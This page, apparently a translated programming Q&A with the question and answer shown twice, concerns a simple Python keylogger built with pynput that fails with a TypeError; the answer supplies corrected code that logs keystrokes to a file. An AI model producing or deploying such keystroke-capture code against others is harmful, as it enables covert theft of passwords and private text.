I made a simple keylogger program using python but it displays "TypeError: write_file() takes 0 positional arguments but 1 was given"
I made a simple keylogger program using python but it displays "TypeError: write_file() takes 0 positional arguments but 1 was given"
这是我的主程序,我用pynput库制作了这个程序:
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(key)
keys = []
def write_file():
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write("\n")
elif k.find("Key") == -1:
f.write(k)
f.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
在控制台上,程序会跟踪所有被按下的键,但是当计数达到极限时,它不会将数据存储在“log.txt”中,而是显示:
Key.shift pressed
'H' pressed
'e' pressed
'l' pressed
'l' pressed
'o' pressed
Key.space pressed
'w' pressed
'o' pressed
Unhandled exception in listener callback
Traceback (most recent call last):
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 211, in inner
return f(self, *args, **kwargs)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py", line 280, in _process
self.on_press(key)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 127, in inner
if f(*args) is False:
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
write_file(key)
TypeError: write_file() takes 0 positional arguments but 1 was given
Traceback (most recent call last):
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 37, in <module>
listener.join()
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 259, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\six.py", line 702, in reraise
raise value.with_traceback(tb)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 211, in inner
return f(self, *args, **kwargs)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py", line 280, in _process
self.on_press(key)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 127, in inner
if f(*args) is False:
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
write_file(key)
TypeError: write_file() takes 0 positional arguments but 1 was given
'r' pressed
如您所见,我正在尝试编写“Hello World”,但是当我在“Hello World”中遇到单词 R 时,程序向我抛出 TypeError
从write_file()
中删除一个写入命令以避免重复输出到日志文件。我稍微修改了代码,请参阅内联注释。
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("pynput-log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write("\n")
elif k.find("Key") == -1:
f.write(k)
#f.write(str(key)) this caused duplicate output
def on_release(key):
if key == Key.esc:
write_file(keys) # write remaining data
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
这是我的主程序,我用pynput库制作了这个程序:
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(key)
keys = []
def write_file():
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write("\n")
elif k.find("Key") == -1:
f.write(k)
f.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
在控制台上,程序会跟踪所有被按下的键,但是当计数达到极限时,它不会将数据存储在“log.txt”中,而是显示:
Key.shift pressed
'H' pressed
'e' pressed
'l' pressed
'l' pressed
'o' pressed
Key.space pressed
'w' pressed
'o' pressed
Unhandled exception in listener callback
Traceback (most recent call last):
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 211, in inner
return f(self, *args, **kwargs)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py", line 280, in _process
self.on_press(key)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 127, in inner
if f(*args) is False:
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
write_file(key)
TypeError: write_file() takes 0 positional arguments but 1 was given
Traceback (most recent call last):
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 37, in <module>
listener.join()
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 259, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\six.py", line 702, in reraise
raise value.with_traceback(tb)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 211, in inner
return f(self, *args, **kwargs)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py", line 280, in _process
self.on_press(key)
File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 127, in inner
if f(*args) is False:
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
write_file(key)
TypeError: write_file() takes 0 positional arguments but 1 was given
'r' pressed
如您所见,我正在尝试编写“Hello World”,但是当我在“Hello World”中遇到单词 R 时,程序向我抛出 TypeError
从write_file()
中删除一个写入命令以避免重复输出到日志文件。我稍微修改了代码,请参阅内联注释。
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("pynput-log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write("\n")
elif k.find("Key") == -1:
f.write(k)
#f.write(str(key)) this caused duplicate output
def on_release(key):
if key == Key.esc:
write_file(keys) # write remaining data
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()